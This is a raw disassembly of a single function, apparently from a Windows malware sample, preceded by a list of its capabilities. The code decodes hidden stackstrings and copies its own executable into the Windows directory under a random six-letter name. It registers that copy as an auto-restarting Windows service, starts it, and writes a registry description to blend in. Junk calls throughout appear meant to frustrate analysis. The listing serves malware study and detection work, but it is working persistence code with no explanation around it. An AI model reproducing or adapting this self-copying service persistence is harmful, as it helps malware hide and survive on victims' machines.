Function at 0x406903
Capabilities:
Contain obfuscated stackstrings
Copy file
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412230
push 0x4085b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5e0
push ebx
push esi
push edi
push 9
push 6
pop esi
push esi
mov ebx, str._ni_d__j_d_n
push ebx
call fcn.00408453
push 0x12
push esi
mov edi, str._nx_d__y_d_n
push edi
call fcn.00408453
add esp, 0x18
push 0x104
lea eax, [ebp - 0x340]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 9
push esi
push ebx
call fcn.00408453
push 0x12
push esi
push edi
call fcn.00408453
push 9
push esi
push ebx
call fcn.00408453
push 0x12
push esi
push edi
call fcn.00408453
mov byte [ebp - 0x238], 0x47
mov byte [ebp - 0x237], 0x65
mov byte [ebp - 0x236], 0x74
mov byte [ebp - 0x235], 0x57
mov byte [ebp - 0x234], 0x69
mov byte [ebp - 0x233], 0x6e
mov byte [ebp - 0x232], 0x64
mov byte [ebp - 0x231], 0x6f
mov byte [ebp - 0x230], 0x77
mov byte [ebp - 0x22f], 0x73
mov byte [ebp - 0x22e], 0x44
mov byte [ebp - 0x22d], 0x69
mov byte [ebp - 0x22c], 0x72
mov byte [ebp - 0x22b], 0x65
mov byte [ebp - 0x22a], 0x63
mov byte [ebp - 0x229], 0x74
mov byte [ebp - 0x228], 0x6f
mov byte [ebp - 0x227], 0x72
mov byte [ebp - 0x226], 0x79
mov byte [ebp - 0x225], 0x41
and byte [ebp - 0x224], 0
push 9
push esi
push ebx
call fcn.00408453
push 0x12
push esi
push edi
call fcn.00408453
add esp, 0x48
lea eax, [ebp - 0x238]
push eax
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34c], eax
push 9
push esi
push ebx
call fcn.00408453
push 0x12
push esi
push edi
call fcn.00408453
add esp, 0x18
push 0x104
lea eax, [ebp - 0x220]
push eax
call dword [ebp - 0x34c]
push 9
push esi
push ebx
call fcn.00408453
push 0x12
push esi
push edi
call fcn.00408453
lea eax, [ebp - 0x220]
push eax
call fcn.00408210
push eax
lea eax, [ebp - 0x340]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.00408f90
add esp, 0x28
test eax, eax
je 0x406bcd
push 9
push esi
push ebx
call fcn.00408453
push 0x12
push esi
push edi
call fcn.00408453
push 0x1a
call fcn.00402673
add esp, 0x1c
add eax, 0x61
push eax
push 0x1a
call fcn.00402673
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00402673
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00402673
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00402673
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00402673
pop ecx
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
lea eax, [ebp - 0x3fc]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x4157d4
lea eax, [ebp - 0x220]
push eax
call fcn.00408be0
push 9
push esi
push ebx
call fcn.00408453
push 0x12
push esi
push edi
call fcn.00408453
add esp, 0x40
lea eax, [ebp - 0x3fc]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.00408be0
push 9
push esi
push ebx
call fcn.00408453
push 0x12
push esi
push edi
call fcn.00408453
add esp, 0x20
push 0
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 9
push esi
push ebx
call fcn.00408453
push 0x12
push esi
push edi
call fcn.00408453
push 0x104
push 0
lea eax, [ebp - 0x340]
push eax
call fcn.00408310
push 9
push esi
push ebx
call fcn.00408453
push 0x12
push esi
push edi
call fcn.00408453
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x340]
push eax
call fcn.00408bd0
add esp, 0x44
and dword [ebp - 0x23c], 0
push 9
push esi
push ebx
call fcn.00408453
push 0x12
push esi
push edi
call fcn.00408453
add esp, 0x18
xor eax, eax
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], eax
mov dword [ebp - 4], eax
push 0xf003f
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x344], eax
xor ecx, ecx
cmp eax, ecx
je 0x4075c9
push ecx
push ecx
push ecx
push ecx
push ecx
lea ecx, [ebp - 0x340]
push ecx
push 1
push 2
push 0x110
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x348], eax
push 3
pop ebx
mov dword [ebp - 0x4cc], ebx
push 9
pop eax
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4cc], 4
mov dword [ebp - 0x4cc], 5
mov dword [ebp - 0x4cc], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x4c4], ebx
mov dword [ebp - 0x4c4], 4
mov dword [ebp - 0x4c4], 5
mov dword [ebp - 0x4c4], esi
push 0x12
pop eax
mov dword [ebp - 0x4c8], eax
push eax
push esi
push edi
call fcn.00408453
add esp, 0x18
push dword [ebp - 0x344]
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x4dc], ebx
push 9
pop eax
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], 4
mov dword [ebp - 0x4dc], 5
mov dword [ebp - 0x4dc], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x4d4], ebx
mov dword [ebp - 0x4d4], 4
mov dword [ebp - 0x4d4], 5
mov dword [ebp - 0x4d4], esi
push 0x12
pop eax
mov dword [ebp - 0x4d8], eax
push eax
push esi
push edi
call fcn.00408453
mov dword [ebp - 0x460], str.Ijklmn_Pqrstua_Cdefghi_Klmn
mov dword [ebp - 0x4ec], ebx
push 9
pop eax
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], 4
mov dword [ebp - 0x4ec], 5
mov dword [ebp - 0x4ec], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x4e4], ebx
mov dword [ebp - 0x4e4], 4
mov dword [ebp - 0x4e4], 5
mov dword [ebp - 0x4e4], esi
push 0x12
pop eax
mov dword [ebp - 0x4e8], eax
push eax
push esi
push edi
call fcn.00408453
add esp, 0x30
lea eax, [ebp - 0x460]
push eax
push 1
push dword [ebp - 0x348]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x4fc], ebx
push 9
pop eax
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], 4
mov dword [ebp - 0x4fc], 5
mov dword [ebp - 0x4fc], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x4f4], ebx
mov dword [ebp - 0x4f4], 4
mov dword [ebp - 0x4f4], 5
mov dword [ebp - 0x4f4], esi
push 0x12
pop eax
mov dword [ebp - 0x4f8], eax
push eax
push esi
push edi
call fcn.00408453
and dword [ebp - 0x49c], 0
xor eax, eax
lea edi, [ebp - 0x498]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x498], 0
mov dword [ebp - 0x50c], ebx
push 9
pop eax
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x50c], 4
push 5
pop edi
mov dword [ebp - 0x50c], edi
mov dword [ebp - 0x50c], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x504], ebx
mov dword [ebp - 0x504], 4
mov dword [ebp - 0x504], edi
mov dword [ebp - 0x504], esi
push 0x12
pop eax
mov dword [ebp - 0x508], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
mov dword [ebp - 0x49c], 0x15180
mov dword [ebp - 0x51c], ebx
push 9
pop eax
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], 4
mov dword [ebp - 0x51c], edi
mov dword [ebp - 0x51c], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x514], ebx
mov dword [ebp - 0x514], 4
mov dword [ebp - 0x514], edi
mov dword [ebp - 0x514], esi
push 0x12
pop eax
mov dword [ebp - 0x518], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
add esp, 0x48
mov dword [ebp - 0x52c], ebx
push 9
pop eax
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], 4
mov dword [ebp - 0x52c], edi
mov dword [ebp - 0x52c], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x524], ebx
mov dword [ebp - 0x524], 4
mov dword [ebp - 0x524], edi
mov dword [ebp - 0x524], esi
push 0x12
pop eax
mov dword [ebp - 0x528], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
mov dword [ebp - 0x474], 0x1b58
mov dword [ebp - 0x478], 1
mov dword [ebp - 0x53c], ebx
push 9
pop eax
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x53c], 4
mov dword [ebp - 0x53c], edi
mov dword [ebp - 0x53c], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x534], ebx
mov dword [ebp - 0x534], 4
mov dword [ebp - 0x534], edi
mov dword [ebp - 0x534], esi
push 0x12
pop eax
mov dword [ebp - 0x538], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
and dword [ebp - 0x46c], 0
mov dword [ebp - 0x470], 1
mov dword [ebp - 0x54c], ebx
push 9
pop eax
mov dword [ebp - 0x550], eax
mov dword [ebp - 0x54c], 4
mov dword [ebp - 0x54c], edi
mov dword [ebp - 0x54c], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x544], ebx
mov dword [ebp - 0x544], 4
mov dword [ebp - 0x544], edi
mov dword [ebp - 0x544], esi
push 0x12
pop eax
mov dword [ebp - 0x548], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
add esp, 0x48
and dword [ebp - 0x464], 0
mov dword [ebp - 0x468], 1
mov dword [ebp - 0x55c], ebx
push 9
pop eax
mov dword [ebp - 0x560], eax
mov dword [ebp - 0x55c], 4
mov dword [ebp - 0x55c], edi
mov dword [ebp - 0x55c], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x554], ebx
mov dword [ebp - 0x554], 4
mov dword [ebp - 0x554], edi
mov dword [ebp - 0x554], esi
push 0x12
pop eax
mov dword [ebp - 0x558], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
mov dword [ebp - 0x490], ebx
lea eax, [ebp - 0x478]
mov dword [ebp - 0x48c], eax
and dword [ebp - 0x494], 0
mov dword [ebp - 0x56c], ebx
push 9
pop eax
mov dword [ebp - 0x570], eax
mov dword [ebp - 0x56c], 4
mov dword [ebp - 0x56c], edi
mov dword [ebp - 0x56c], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x564], ebx
mov dword [ebp - 0x564], 4
mov dword [ebp - 0x564], edi
mov dword [ebp - 0x564], esi
push 0x12
pop eax
mov dword [ebp - 0x568], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
add esp, 0x30
lea eax, [ebp - 0x49c]
push eax
push 2
push dword [ebp - 0x348]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x57c], ebx
push 9
pop eax
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x57c], 4
mov dword [ebp - 0x57c], edi
mov dword [ebp - 0x57c], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x574], ebx
mov dword [ebp - 0x574], 4
mov dword [ebp - 0x574], edi
mov dword [ebp - 0x574], esi
push 0x12
pop eax
mov dword [ebp - 0x578], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
add esp, 0x18
push dword [ebp - 0x488]
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov dword [ebp - 0x58c], ebx
push 9
pop eax
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], 4
mov dword [ebp - 0x58c], edi
mov dword [ebp - 0x58c], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x584], ebx
mov dword [ebp - 0x584], 4
mov dword [ebp - 0x584], edi
mov dword [ebp - 0x584], esi
push 0x12
pop eax
mov dword [ebp - 0x588], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
add esp, 0x18
cmp dword [ebp - 0x348], 0
jne 0x407271
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x407271
push 0xf01ff
push dword [ebp + 8]
push dword [ebp - 0x344]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x348], eax
test eax, eax
je 0x4075bf
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
push dword [ebp - 0x348]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x4075bf
mov byte [ebp - 0x4c0], 0x53
mov byte [ebp - 0x4bf], 0x59
mov byte [ebp - 0x4be], 0x53
mov byte [ebp - 0x4bd], 0x54
mov byte [ebp - 0x4bc], 0x45
mov byte [ebp - 0x4bb], 0x4d
mov byte [ebp - 0x4ba], 0x5c
mov byte [ebp - 0x4b9], 0x43
mov byte [ebp - 0x4b8], 0x75
mov byte [ebp - 0x4b7], 0x72
mov byte [ebp - 0x4b6], 0x72
mov byte [ebp - 0x4b5], 0x65
mov byte [ebp - 0x4b4], 0x6e
mov byte [ebp - 0x4b3], 0x74
mov byte [ebp - 0x4b2], 0x43
mov byte [ebp - 0x4b1], 0x6f
mov byte [ebp - 0x4b0], 0x6e
mov byte [ebp - 0x4af], 0x74
mov byte [ebp - 0x4ae], 0x72
mov byte [ebp - 0x4ad], 0x6f
mov byte [ebp - 0x4ac], 0x6c
mov byte [ebp - 0x4ab], 0x53
mov byte [ebp - 0x4aa], 0x65
mov byte [ebp - 0x4a9], 0x74
mov byte [ebp - 0x4a8], 0x5c
mov byte [ebp - 0x4a7], 0x53
mov byte [ebp - 0x4a6], 0x65
mov byte [ebp - 0x4a5], 0x72
mov byte [ebp - 0x4a4], 0x76
mov byte [ebp - 0x4a3], 0x69
mov byte [ebp - 0x4a2], 0x63
mov byte [ebp - 0x4a1], 0x65
mov byte [ebp - 0x4a0], 0x73
mov byte [ebp - 0x49f], 0x5c
and byte [ebp - 0x49e], 0
lea eax, [ebp - 0x4c0]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00408bd0
mov dword [ebp - 0x59c], ebx
push 9
pop eax
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], 4
mov dword [ebp - 0x59c], edi
mov dword [ebp - 0x59c], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x594], ebx
mov dword [ebp - 0x594], 4
mov dword [ebp - 0x594], edi
mov dword [ebp - 0x594], esi
push 0x12
pop eax
mov dword [ebp - 0x598], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
push dword [ebp + 8]
lea eax, [ebp - 0x11c]
push eax
call fcn.00408be0
mov dword [ebp - 0x5ac], ebx
push 9
pop eax
mov dword [ebp - 0x5b0], eax
mov dword [ebp - 0x5ac], 4
mov dword [ebp - 0x5ac], edi
mov dword [ebp - 0x5ac], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x5a4], ebx
mov dword [ebp - 0x5a4], 4
mov dword [ebp - 0x5a4], edi
mov dword [ebp - 0x5a4], esi
push 0x12
pop eax
mov dword [ebp - 0x5a8], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
add esp, 0x40
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x11c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x5bc], ebx
push 9
pop eax
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], 4
mov dword [ebp - 0x5bc], edi
mov dword [ebp - 0x5bc], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x5b4], ebx
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b4], edi
mov dword [ebp - 0x5b4], esi
push 0x12
pop eax
mov dword [ebp - 0x5b8], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
mov byte [ebp - 0x484], 0x44
mov byte [ebp - 0x483], 0x65
mov byte [ebp - 0x482], 0x73
mov byte [ebp - 0x481], 0x63
mov byte [ebp - 0x480], 0x72
mov byte [ebp - 0x47f], 0x69
mov byte [ebp - 0x47e], 0x70
mov byte [ebp - 0x47d], 0x74
mov byte [ebp - 0x47c], 0x69
mov byte [ebp - 0x47b], 0x6f
mov byte [ebp - 0x47a], 0x6e
and byte [ebp - 0x479], 0
mov dword [ebp - 0x5cc], ebx
push 9
pop eax
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5cc], 4
mov dword [ebp - 0x5cc], edi
mov dword [ebp - 0x5cc], esi
push eax
push esi
push str._ni_d__j_d_n
call fcn.00408453
mov dword [ebp - 0x5c4], ebx
mov dword [ebp - 0x5c4], 4
mov dword [ebp - 0x5c4], edi
mov dword [ebp - 0x5c4], esi
push 0x12
pop eax
mov dword [ebp - 0x5c8], eax
push eax
push esi
push str._nx_d__y_d_n
call fcn.00408453
add esp, 0x30
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x10]
push 1
push 0
lea eax, [ebp - 0x484]
push eax
push dword [ebp - 0x23c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, str._nx_d__y_d_n
mov ebx, str._ni_d__j_d_n
or dword [ebp - 4], 0xffffffff
call fcn.004075ee
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret